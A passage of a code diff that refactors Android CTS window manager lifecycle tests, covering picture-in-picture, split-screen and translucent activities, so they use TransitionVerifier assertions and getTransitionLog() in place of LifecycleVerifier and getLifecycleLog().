             waitForActivityTransitions(LifecycleConfigChangeHandlingActivity.class,
                     Arrays.asList(ON_TOP_POSITION_LOST));
-            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+            assertTransitionObserved(getTransitionLog(),
                     transition(LifecycleConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
                     "moveToSplitScreen");
         }
 
         // Exit split-screen
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         dismissSplitScreen(true /* primaryOnTop */);
 
         // Wait for the activity to receive the change
@@ -348,11 +355,11 @@
         waitForActivityTransitions(LifecycleConfigChangeHandlingActivity.class, expectedSequence);
 
         if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
-                LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                        transition(LifecycleConfigChangeHandlingActivity.class,
-                        ON_MULTI_WINDOW_MODE_CHANGED), "exitSplitScreen");
+            assertTransitionObserved(getTransitionLog(),
+                    transition(LifecycleConfigChangeHandlingActivity.class,
+                            ON_MULTI_WINDOW_MODE_CHANGED), "exitSplitScreen");
         }
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+        assertTransitionObserved(getTransitionLog(),
                 transition(LifecycleConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
                 "exitSplitScreen");
     }
@@ -368,12 +375,12 @@
                                 extra -> extra.putBoolean(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, true))
                         .setTargetActivity(getComponentName(FirstActivity.class)));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         launchActivityAndWait(SecondActivity.class);
 
         waitForIdle();
 
-        LifecycleVerifier.assertOrder(getLifecycleLog(), FirstActivity.class,
+        assertOrder(getTransitionLog(), FirstActivity.class,
                 Arrays.asList(ON_USER_LEAVE_HINT, ON_PAUSE, ON_STOP),
                 "moveFromSplitScreen");
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index f0dd905..f895e4f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -26,6 +26,12 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_START;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequenceMatchesOneOf;
 
 import static org.junit.Assume.assumeTrue;
 
@@ -38,6 +44,7 @@
 import org.junit.Test;
 
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 
 /**
@@ -66,14 +73,14 @@
         waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         // Move activity to Picture-In-Picture
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         pipActivity.enterPip();
 
         // Wait and assert lifecycle
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
-        LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_PAUSE), "enterPip");
+        assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+        assertSequence(PipActivity.class, getTransitionLog(), Collections.singletonList(ON_PAUSE),
+                "enterPip");
     }
 
     @Test
@@ -82,7 +89,7 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Clear the log before launching to Pip
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
         new Launcher(PipActivity.class)
@@ -97,10 +104,9 @@
                 Arrays.asList(ON_PAUSE, ON_RESUME);
         final List<String> extraCycleSequence =
                 Arrays.asList(ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_RESUME);
-        LifecycleVerifier.assertSequenceMatchesOneOf(FirstActivity.class,
-                getLifecycleLog(), Arrays.asList(expectedSequence, extraCycleSequence),
-                "activityEnteringPipOnTop");
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+        assertSequenceMatchesOneOf(FirstActivity.class, getTransitionLog(),
+                Arrays.asList(expectedSequence, extraCycleSequence), "activityEnteringPipOnTop");
+        assertSequence(PipActivity.class, getTransitionLog(),
                 Arrays.asList(ON_CREATE, ON_START, ON_RESUME, ON_PAUSE), "launchAndEnterPip");
     }
 
@@ -110,7 +116,7 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Clear the log before launching to Pip
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
         final Activity pipActivity = new Launcher(PipActivity.class)
@@ -122,12 +128,12 @@
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Exit PiP
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         pipActivity.finish();
 
         waitAndAssertActivityStates(state(pipActivity, ON_DESTROY));
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "finishPip");
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+        assertEmptySequence(FirstActivity.class, getTransitionLog(), "finishPip");
+        assertSequence(PipActivity.class, getTransitionLog(),
                 Arrays.asList(ON_STOP, ON_DESTROY), "finishPip");
     }
 
@@ -140,14 +146,14 @@
                 .launch();
 
         // Launch a regular activity below
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(FirstActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
         // Wait and verify the sequence
-        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+        assertLaunchSequence(FirstActivity.class, getTransitionLog());
+        assertEmptySequence(PipActivity.class, getTransitionLog(),
                 "launchBelowPip");
     }
 
@@ -160,7 +166,7 @@
                 .launch();
 
         // Launch a regular activity into same task
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(FirstActivity.class)
                 .setExpectedState(ON_PAUSE)
                 // Skip launch time verification - it can be affected by PiP menu activity
@@ -177,11 +183,11 @@
         //waitForActivityTransitions(FirstActivity.class, extraDestroySequence);
         //final List<String> expectedSequence =
         //        Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME, ON_PAUSE);
-        //LifecycleVerifier.assertSequenceMatchesOneOf(FirstActivity.class, getLifecycleLog(),
+        //TransitionVerifier.assertSequenceMatchesOneOf(FirstActivity.class, getLifecycleLog(),
         //        Arrays.asList(extraDestroySequence, expectedSequence),
         //        "launchIntoPip");
 
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+        assertSequence(PipActivity.class, getTransitionLog(),
                 Arrays.asList(ON_STOP), "launchIntoPip");
     }
 
@@ -199,11 +205,11 @@
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Destroy the activity below
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         firstActivity.finish();
         waitAndAssertActivityStates(state(firstActivity, ON_DESTROY));
-        LifecycleVerifier.assertResumeToDestroySequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+        assertResumeToDestroySequence(FirstActivity.class, getTransitionLog());
+        assertEmptySequence(PipActivity.class, getTransitionLog(),
                 "destroyBelowPip");
     }
 
@@ -223,25 +229,25 @@
                 .launch();
 
         // Launch first activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Activity firstActivity = new Launcher(FirstActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
-        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+        assertLaunchSequence(FirstActivity.class, getTransitionLog());
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
-        LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+        assertEmptySequence(PipActivity.class, getTransitionLog(),
                 "launchBelow");
 
         // Launch second activity to side
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+        assertLaunchSequence(SecondActivity.class, getTransitionLog());
+        assertEmptySequence(PipActivity.class, getTransitionLog(),
                 "launchBelow");
     }
 
@@ -264,7 +270,7 @@
                 .launch();
 
         // Launch Pip-capable activity and enter Pip immediately
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(PipActivity.class)
                 .setExpectedState(ON_PAUSE)
                 .setExtraFlags(EXTRA_ENTER_PIP)
@@ -272,18 +278,18 @@
 
         // Wait for it to launch and pause. Other activities should not be affected.
         waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+        assertSequence(PipActivity.class, getTransitionLog(),
                 Arrays.asList(ON_CREATE, ON_START, ON_RESUME, ON_PAUSE),
                 "launchAndEnterPip");
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
+        assertEmptySequence(FirstActivity.class, getTransitionLog(),
                 "launchPipOnTop");
         final List<String> expectedSequence =
                 Arrays.asList(ON_PAUSE, ON_RESUME);
         final List<String> extraCycleSequence =
                 Arrays.asList(ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_RESUME);
         // TODO(b/123013403): sometimes extra destroy is observed
-        LifecycleVerifier.assertSequenceMatchesOneOf(SecondActivity.class,
-                getLifecycleLog(), Arrays.asList(expectedSequence, extraCycleSequence),
+        assertSequenceMatchesOneOf(SecondActivity.class,
+                getTransitionLog(), Arrays.asList(expectedSequence, extraCycleSequence),
                 "activityEnteringPipOnTop");
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 0cf0dc3..e7b2909 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -53,7 +53,21 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEntireSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRelaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequenceMatchesOneOf;
+import static android.server.wm.lifecycle.TransitionVerifier.assertTransitionNotObserved;
+import static android.server.wm.lifecycle.TransitionVerifier.assertTransitionObserved;
+import static android.server.wm.lifecycle.TransitionVerifier.getLaunchAndDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_180;
 import static android.view.Surface.ROTATION_270;
@@ -77,6 +91,7 @@
 import org.junit.Test;
 
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 
 /**
@@ -92,19 +107,19 @@
     public void testSingleLaunch() throws Exception {
         launchActivityAndWait(FirstActivity.class);
 
-        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+        assertLaunchSequence(FirstActivity.class, getTransitionLog());
     }
 
     @Test
     public void testLaunchOnTop() throws Exception {
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         launchActivityAndWait(SecondActivity.class);
         waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
-        LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
-                getLifecycleLog(), false /* launchIsTranslucent */);
+        assertLaunchSequence(SecondActivity.class, FirstActivity.class,
+                getTransitionLog(), false /* launchIsTranslucent */);
     }
 
     @Test
@@ -113,12 +128,12 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch translucent activity on top
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
         waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
 
-        LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
-                getLifecycleLog(), true /* launchIsTranslucent */);
+        assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
+                getTransitionLog(), true /* launchIsTranslucent */);
     }
 
     @Test
@@ -126,34 +141,33 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch translucent activity on top
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
         waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
 
-        LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
-                getLifecycleLog(), true /* launchIsTranslucent */);
+        assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
+                getTransitionLog(), true /* launchIsTranslucent */);
 
         // Launch another translucent activity on top
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Activity secondTranslucentActivity =
                 launchActivityAndWait(SecondTranslucentActivity.class);
         waitAndAssertActivityStates(
                 occludedActivityState(translucentActivity, secondTranslucentActivity));
-        LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_PAUSE), "launch");
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "launch");
+        assertSequence(TranslucentActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_PAUSE), "launch");
+        assertEmptySequence(FirstActivity.class, getTransitionLog(), "launch");
 
         // Finish top translucent activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondTranslucentActivity.finish();
 
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
         waitAndAssertActivityStates(state(secondTranslucentActivity, ON_DESTROY));
-        LifecycleVerifier.assertResumeToDestroySequence(SecondTranslucentActivity.class,
-                getLifecycleLog());
-        LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launch");
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "launch");
+        assertResumeToDestroySequence(SecondTranslucentActivity.class, getTransitionLog());
+        assertSequence(TranslucentActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_RESUME), "launch");
+        assertEmptySequence(FirstActivity.class, getTransitionLog(), "launch");
     }
 
     @Test
@@ -173,16 +187,15 @@
         int firstActivityStack = mWmState.getRootTaskIdByActivity(firstActivityName);
 
         // Move translucent activity into the stack with the first activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
 
         // Wait for translucent activity to resume and first activity to pause
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
                 state(firstActivity, ON_PAUSE));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_PAUSE), "launchOnTop");
-        LifecycleVerifier.assertRestartAndResumeSequence(TranslucentActivity.class,
-                getLifecycleLog());
+        assertSequence(FirstActivity.class, getTransitionLog(), Collections.singletonList(ON_PAUSE),
+                "launchOnTop");
+        assertRestartAndResumeSequence(TranslucentActivity.class, getTransitionLog());
     }
 
     @Test
@@ -193,16 +206,16 @@
         waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
 
         // Finish translucent activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         translucentActivity.finish();
 
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
                 state(translucentActivity, ON_DESTROY));
 
         // Verify destruction lifecycle
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+        assertResumeToDestroySequence(TranslucentActivity.class,
+                getTransitionLog());
+        assertSequence(FirstActivity.class, getTransitionLog(),
                 Arrays.asList(ON_RESUME), "resumeAfterTopDestroyed");
     }
 
@@ -219,7 +232,7 @@
         waitAndAssertActivityStates(state(translucentActivity, ON_STOP),
                 state(firstActivity, ON_STOP));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         final boolean secondActivityIsTranslucent = ActivityInfo.isTranslucentOrFloating(
                 secondActivity.getWindow().getWindowStyle());
@@ -228,7 +241,7 @@
         secondActivity.finish();
 
         waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+        assertResumeToDestroySequence(SecondActivity.class, getTransitionLog());
         if (secondActivityIsTranslucent) {
             // In this case we don't expect the state of the firstActivity to change since it is
             // already in the visible paused state. So, we just verify that translucentActivity
@@ -240,7 +253,7 @@
                     state(firstActivity, ON_START));
 
             // Verify that the first activity was restarted
-            LifecycleVerifier.assertRestartSequence(FirstActivity.class, getLifecycleLog());
+            assertRestartSequence(FirstActivity.class, getTransitionLog());
         }
     }
 
@@ -254,27 +267,26 @@
                 occludedActivityState(translucentActivity, secondTranslucentActivity));
 
         // Finish top translucent activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondTranslucentActivity.finish();
 
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
         waitAndAssertActivityStates(state(secondTranslucentActivity, ON_DESTROY));
-        LifecycleVerifier.assertResumeToDestroySequence(SecondTranslucentActivity.class,
-                getLifecycleLog());
-        LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "destroy");
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "destroy");
+        assertResumeToDestroySequence(SecondTranslucentActivity.class,
+                getTransitionLog());
+        assertSequence(TranslucentActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_RESUME), "destroy");
+        assertEmptySequence(FirstActivity.class, getTransitionLog(), "destroy");
 
         // Finish first translucent activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         translucentActivity.finish();
 
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "secondDestroy");
+        assertResumeToDestroySequence(TranslucentActivity.class, getTransitionLog());
+        assertSequence(FirstActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_RESUME), "secondDestroy");
     }
 
     @Test
@@ -284,15 +296,15 @@
         waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
 
         // Finish the activity on the bottom
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         bottomActivity.finish();
 
         // Assert that activity on the bottom went directly to destroyed state, and activity on top
         // did not get any lifecycle changes.
         waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_DESTROY), "destroyOnBottom");
-        LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+        assertSequence(FirstActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_DESTROY), "destroyOnBottom");
+        assertEmptySequence(SecondActivity.class, getTransitionLog(),
                 "destroyOnBottom");
     }
 
@@ -321,7 +333,7 @@
 
         waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
                 state(ResultActivity.class, ON_DESTROY));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 // Base launching activity starting.
                 transition(LaunchForResultActivity.class, ON_CREATE),
                 transition(LaunchForResultActivity.class, ON_START),
@@ -352,7 +364,7 @@
         activity.finish();
         waitAndAssertActivityStates(state(activity, ON_DESTROY));
 
-        LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
+        assertLaunchAndDestroySequence(FirstActivity.class, getTransitionLog());
     }
 
     @Test
@@ -385,7 +397,7 @@
         launcher.launch();
         waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
 
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(NoDisplayActivity.class, ON_CREATE),
                 transition(CallbackTrackingActivity.class, ON_CREATE),
                 transition(CallbackTrackingActivity.class, ON_START),
@@ -393,7 +405,7 @@
                 transition(CallbackTrackingActivity.class, ON_RESUME),
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
                 transition(NoDisplayActivity.class, ON_DESTROY)),
-                getLifecycleLog(), "trampolineLaunch");
+                getTransitionLog(), "trampolineLaunch");
     }
 
     /** @see #testTrampolineWithAnotherProcess */
@@ -413,7 +425,7 @@
                 .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
         waitAndAssertActivityStates(
                 state(SecondProcessCallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         testTrampolineWithAnotherProcess();
     }
@@ -444,11 +456,11 @@
     public void testRelaunchResumed() throws Exception {
         final Activity activity = launchActivityAndWait(FirstActivity.class);
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(activity::recreate);
         waitAndAssertActivityStates(state(activity, ON_RESUME));
 
-        LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(), ON_RESUME);
+        assertRelaunchSequence(FirstActivity.class, getTransitionLog(), ON_RESUME);
     }
 
     @Test
@@ -458,11 +470,11 @@
 
         waitAndAssertActivityStates(occludedActivityState(pausedActivity, translucentActivity));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(pausedActivity::recreate);
         waitAndAssertActivityStates(state(pausedActivity, ON_PAUSE));
 
-        LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(), ON_PAUSE);
+        assertRelaunchSequence(FirstActivity.class, getTransitionLog(), ON_PAUSE);
     }
 
     @Test
@@ -472,12 +484,11 @@
 
         waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(stoppedActivity::recreate);
         waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
 
-        LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(),
-                ON_STOP);
+        assertRelaunchSequence(FirstActivity.class, getTransitionLog(), ON_STOP);
     }
 
     @Test
@@ -507,7 +518,7 @@
             return;
         }
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         final int current = rotationSession.get();
         // Set new rotation to cause a configuration change.
@@ -526,11 +537,10 @@
 
         // Assert that the top activity was relaunched.
         waitAndAssertActivityStates(state(topOpaqueActivity, ON_RESUME));
-        LifecycleVerifier.assertRelaunchSequence(
-                SecondActivity.class, getLifecycleLog(), ON_RESUME);
+        assertRelaunchSequence(SecondActivity.class, getTransitionLog(), ON_RESUME);
 
         // Finish the top activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         topOpaqueActivity.finish();
 
         // Assert that the translucent activity and the activity visible behind it were
@@ -538,13 +548,13 @@
         waitAndAssertActivityStates(state(becomingVisibleActivity, ON_PAUSE),
                 state(translucentActivity, ON_RESUME));
 
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_RESUME,
-                        ON_PAUSE), "becomingVisiblePaused");
+        assertSequence(FirstActivity.class, getTransitionLog(),
+                Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_RESUME, ON_PAUSE),
+                "becomingVisiblePaused");
         final List<String> expectedSequence =
                 Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_RESUME);
-        LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
-                expectedSequence, "becomingVisibleResumed");
+        assertSequence(TranslucentActivity.class, getTransitionLog(), expectedSequence,
+                "becomingVisibleResumed");
     }
 
     @Test
@@ -569,7 +579,7 @@
                         ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
                         ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME,
                         ON_TOP_POSITION_GAINED);
-        LifecycleVerifier.assertSequence(LaunchForwardResultActivity.class, getLifecycleLog(),
+        assertSequence(LaunchForwardResultActivity.class, getTransitionLog(),
                 expectedSequence, "becomingVisibleResumed");
     }
 
@@ -591,8 +601,7 @@
         final List<String> sequenceWithStop =
                 Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
                         ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME);
-        LifecycleVerifier.assertSequenceMatchesOneOf(LaunchForResultActivity.class,
-                getLifecycleLog(),
+        assertSequenceMatchesOneOf(LaunchForResultActivity.class, getTransitionLog(),
                 Arrays.asList(expectedSequence, sequenceWithStop), "activityResult");
     }
 
@@ -629,8 +638,8 @@
         }
         waitForActivityTransitions(LaunchForResultActivity.class, expectedSequences);
 
-        LifecycleVerifier.assertSequence(LaunchForResultActivity.class,
-                getLifecycleLog(), expectedSequences, "activityResult");
+        assertSequence(LaunchForResultActivity.class, getTransitionLog(), expectedSequences,
+                "activityResult");
     }
 
     @Test
@@ -638,12 +647,11 @@
         final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Call "recreate" and assert sequence
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(trackingActivity::recreate);
         waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
 
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
-                getLifecycleLog(),
+        assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY,
                         ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
                 "recreate");
@@ -660,12 +668,11 @@
         waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
 
         // Call "recreate" and assert sequence
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(trackingActivity::recreate);
         waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
 
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
-                getLifecycleLog(),
+        assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 Arrays.asList(ON_STOP, ON_DESTROY, ON_CREATE, ON_START,
                         ON_POST_CREATE, ON_RESUME, ON_PAUSE),
                 "recreate");
@@ -681,7 +688,7 @@
         waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
 
         // Call "recreate" and assert sequence
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(trackingActivity::recreate);
         waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
 
@@ -694,8 +701,8 @@
                     ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_STOP);
         }
 
-        LifecycleVerifier.assertSequence(
-                CallbackTrackingActivity.class, getLifecycleLog(), callbacks, "recreate");
+        assertSequence(
+                CallbackTrackingActivity.class, getTransitionLog(), callbacks, "recreate");
     }
 
     /**
@@ -754,7 +761,7 @@
         waitAndAssertActivityStates(state(recreatingActivity, ON_STOP));
 
         // Launch the activity again to recreate
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
                 .setExtraFlags(EXTRA_RECREATE)
@@ -774,8 +781,8 @@
         }
 
